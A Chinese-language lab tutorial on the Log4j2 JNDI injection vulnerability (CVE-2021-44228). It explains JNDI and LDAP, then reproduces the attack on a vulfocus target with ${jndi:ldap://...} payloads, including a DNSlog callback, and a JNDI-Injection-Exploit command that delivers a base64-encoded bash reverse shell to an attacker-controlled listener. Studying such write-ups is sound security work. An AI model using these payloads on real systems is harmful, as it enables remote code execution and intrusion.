Log4j2远程命令执行(CVE-2021-44228)
关于log4j2
Log4j是Apache的一个开放源代码项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件、甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。
关于JNDI
JNDI (java naming and directory Interface) java命名和⽬录接⼝,它是一个目录系统,将服务名称与对象关联起来即可以使用名称来访问对象。
简单理解就是:我们可以通过给JNDI接口传一个name去一个类似于字典的数据源查找,获取到对应的对象。
JNDI主要通过lookup()方法完成这一操作,接收到查询信息后去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
LDAP
LDAP即Lightweight Directory Access Protocol(轻量级⽬录访问协议),目录是⼀个为查询、浏览和 搜索⽽优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的⽂件⽬录⼀样。 ⽬录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功 能,不适于存储修改频繁的数据。—— 所以⽬录天⽣是⽤来查询的,就好像它的名字⼀样。
漏洞原理
log4j2组件会将用户输入的信息记录到日志中,那么log4j2会通过jndi的lookup方法去解析代码,它会去127.0.0.1下查找exploit资源,找到之后再返回给log4j2
假如有人传递了这样的参数:
${jndi:ldap://127.0.0.1/exploit}
解析:
1、${} —— ⾥⾯包裹的内容单独处理;
2、进⼀步解析:发现JNDI扩展内容;
3、再进⼀步解析:发现了是LDAP协议,127.0.0.1 要查找的内容exploit
4、最后:调⽤具体负责LDAP的模块去请求对应的数据 —— 请求JAVA对象(内存) —— ⽹络传输 命名引⽤!可以通过远程下载class⽂件,加载起来构建对象 不直接返回对象内容,告诉你你对象在那 个class⾥,让你去查找
总结:JNDI可以远程下载class⽂件去构建对象!
漏洞复现——基于vulfocus/log4j2
1.在vulfocus拉取log4j2的镜像后访问靶场(似乎高java版本无法访问,jdk1.8以下可以)
2.点击超链接,观察到URL出现了payload参数
3.先用在线的DNSlog测试能否记录访问
4.构造如下payload:
${jndi:ldap://hqcbta.dnslog.cn/exploit}
但是如果直接访问会报400错误
原因在于我们没有对参数进行URL编码,这里可以找在线编码网站进行一下URL编码
5.经过URL编码后再次传参可以发现页面正常访问了
查看DNSlog发现也出现了访问记录
6.深度利用
我们通过JNDI注入工具,构建好恶意类class和ldap服务
(1)构建payload,将要执行的命令进行base64编码,我们创建一个反弹shell的语句
选择任意一个进行复制,base64编码
(2)kali中运行jndi注入工具JNDIExploit
使用方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编码后的bash反弹shell命令}|{base64,-d}|{bash,-i}" -A "监听的IP地址"
(3)kali开启监听
(4)复制一条出发执行反弹shell的命令 随意一条
将其构造为${jndi:ldap://hqcbta.dnslog.cn/exploit}
的形式
(5)将构造好后的语句传入payload参数,别忘了URL编码
可以看到页面正常访问了
回去观察kali 在serber log中已经记录了访问
反弹shell成功